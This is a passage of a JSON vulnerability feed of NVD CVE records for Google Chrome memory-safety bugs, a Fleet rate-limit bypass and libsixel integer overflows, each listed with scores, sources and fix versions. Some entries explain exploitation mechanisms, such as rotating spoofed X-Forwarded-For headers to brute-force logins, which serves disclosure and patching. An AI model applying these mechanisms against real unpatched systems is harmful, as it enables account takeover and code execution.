2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8515","cveId":"CVE-2026-8515","aliases":[],"kind":"vulnerability","title":"Use after free in HID in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox...","summary":"Use after free in HID in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in HID in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:12.200Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8515","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8515","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8515","type":"primary","publishedAt":"2026-05-14T20:17:12.200Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8514","cveId":"CVE-2026-8514","aliases":[],"kind":"vulnerability","title":"Use after free in Aura in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a...","summary":"Use after free in Aura in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Aura in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:12.087Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8514","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8514","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8514","type":"primary","publishedAt":"2026-05-14T20:17:12.087Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8513","cveId":"CVE-2026-8513","aliases":[],"kind":"vulnerability","title":"Use after free in Input in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox...","summary":"Use after free in Input in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Input in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:11.957Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8513","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8513","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8513","type":"primary","publishedAt":"2026-05-14T20:17:11.957Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8512","cveId":"CVE-2026-8512","aliases":[],"kind":"vulnerability","title":"Use after free in FileSystem in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a...","summary":"Use after free in FileSystem in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in FileSystem in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:11.830Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8512","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8512","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8512","type":"primary","publishedAt":"2026-05-14T20:17:11.830Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8510","cveId":"CVE-2026-8510","aliases":[],"kind":"vulnerability","title":"Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory...","summary":"Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)","detail":"Integer overflow in Skia in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:11.577Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8510","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8510","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8510","type":"primary","publishedAt":"2026-05-14T20:17:11.577Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8509","cveId":"CVE-2026-8509","aliases":[],"kind":"vulnerability","title":"Heap buffer overflow in WebML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Heap buffer overflow in WebML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Heap buffer overflow in WebML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:11.440Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8509","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8509","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8509","type":"primary","publishedAt":"2026-05-14T20:17:11.440Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46356","cveId":"CVE-2026-46356","aliases":[],"kind":"vulnerability","title":"Fleet is open source device management software.","summary":"Fleet is open source device management software. Prior to version 4.80.1, a vulnerability in Fleet's IP extraction logic allows unauthenticated attackers to bypass API rate limiting by spoofing client IP headers. This may allow brute-force login attempts or other abuse against Fleet instances exposed to the public internet. Fleet extracted client IP addresses from request headers (`True-Client-IP`, `X-Real-IP`, `X-Forwarded-For`) without validating that those headers originate from a trusted proxy. The extracted IP is used as the key for rate limiting and IP ban decisions. As a result, an attacker could rotate the value of these headers on each request, causing Fleet to treat each attempt as coming from a different client. This effectively bypasses per-IP rate limits on sensitive endpoints such as the login API, enabling unrestricted brute-force or credential stuffing attacks. This issue primarily affects Fleet instances that are directly exposed to the internet without a reverse proxy that overwrites forwarded-IP headers. Instances behind a properly configured proxy or WAF are less affected. Version 4.80.1 contains a patch. If an immediate upgrade is not possible, administrators should ensure Fleet is deployed behind a reverse proxy (e.g., nginx, Cloudflare, AWS ALB) that overwrites `X-Forwarded-For` with the true client IP, and apply rate limiting at the proxy or WAF layer.","detail":"Fleet is open source device management software. Prior to version 4.80.1, a vulnerability in Fleet's IP extraction logic allows unauthenticated attackers to bypass API rate limiting by spoofing client IP headers. This may allow brute-force login attempts or other abuse against Fleet instances exposed to the public internet. Fleet extracted client IP addresses from request headers (`True-Client-IP`, `X-Real-IP`, `X-Forwarded-For`) without validating that those headers originate from a trusted proxy. The extracted IP is used as the key for rate limiting and IP ban decisions. As a result, an attacker could rotate the value of these headers on each request, causing Fleet to treat each attempt as coming from a different client. This effectively bypasses per-IP rate limits on sensitive endpoints such as the login API, enabling unrestricted brute-force or credential stuffing attacks. This issue primarily affects Fleet instances that are directly exposed to the internet without a reverse proxy that overwrites forwarded-IP headers. Instances behind a properly configured proxy or WAF are less affected. Version 4.80.1 contains a patch. If an immediate upgrade is not possible, administrators should ensure Fleet is deployed behind a reverse proxy (e.g., nginx, Cloudflare, AWS ALB) that overwrites `X-Forwarded-For` with the true client IP, and apply rate limiting at the proxy or WAF layer.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:09.540Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"fleetdm","product":"fleet","stacks":["Fleetdm","fleet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46356","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46356","type":"primary","publishedAt":"2026-05-14T20:17:09.540Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/fleetdm/fleet/security/advisories/GHSA-mxmp-wr3w-rvqx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44637","cveId":"CVE-2026-44637","aliases":[],"kind":"vulnerability","title":"libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel.","summary":"libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From  to 1.8.7-r1, a signed integer overflow in the SIXEL parser's image-buffer doubling loop can lead to an out-of-bounds heap write in sixel_decode_raw_impl. context->pos_x grows by repeat_count on every sixel character with no upper bound check. Once pos_x approaches INT_MAX, the expression \"pos_x + repeat_count\" used to size the image buffer overflows signed int. Depending on how the overflow wraps, the resize check that should reject oversized buffers can be bypassed, after which a subsequent write computes a large attacker-influenced offset into image->data and writes past the allocation. Reachable from any caller that decodes attacker-supplied SIXEL data, including img2sixel. This vulnerability is fixed in 1.8.7-r2.","detail":"libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From  to 1.8.7-r1, a signed integer overflow in the SIXEL parser's image-buffer doubling loop can lead to an out-of-bounds heap write in sixel_decode_raw_impl. context->pos_x grows by repeat_count on every sixel character with no upper bound check. Once pos_x approaches INT_MAX, the expression \"pos_x + repeat_count\" used to size the image buffer overflows signed int. Depending on how the overflow wraps, the resize check that should reject oversized buffers can be bypassed, after which a subsequent write computes a large attacker-influenced offset into image->data and writes past the allocation. Reachable from any caller that decodes attacker-supplied SIXEL data, including img2sixel. This vulnerability is fixed in 1.8.7-r2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:08.847Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"saitoha","product":"libsixel","stacks":["Saitoha","libsixel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44637","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44637","type":"primary","publishedAt":"2026-05-14T20:17:08.847Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/saitoha/libsixel/security/advisories/GHSA-9jm7-77gr-qghv","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44636","cveId":"CVE-2026-44636","aliases":[],"kind":"vulnerability","title":"libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel.","summary":"libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From  to 1.8.7-r1, signed integer overflow in sixel_encode_highcolor's allocation size calculation can lead to a heap buffer overflow. The public sixel_encode entry point validates only that width and height are greater than zero, with no upper bound. width and height are multiplied as plain int when computing the allocation size for paletted_pixels and normalized_pixels. Any caller that asks libsixel to encode a pixel buffer with width times height greater than INT_MAX (about 2.15 billion) will hit a wrapped allocation size; under the right wrap, the malloc succeeds with a buffer much smaller than the encoder expects, and the encoder writes past the end of the heap allocation. This vulnerability is fixed in 1.8.7-r2.","detail":"libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From  to 1.8.7-r1, signed integer overflow in sixel_encode_highcolor's allocation size calculation can lead to a heap buffer overflow. The public sixel_encode entry point validates only that width and height are greater than zero, with no upper bound. width and height are multiplied as plain int when computing the allocation size for paletted_pixels and normalized_pixels. Any caller that asks libsixel to encode a pixel buffer with width times height greater than INT_MAX (about 2.15 billion) will hit a wrapped allocation size; under the right wrap, the malloc succeeds with a buffer much smaller than the encoder expects, and the encoder writes past the end of the heap allocation. This vulnerability is fixed in 1.8.7-r2.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 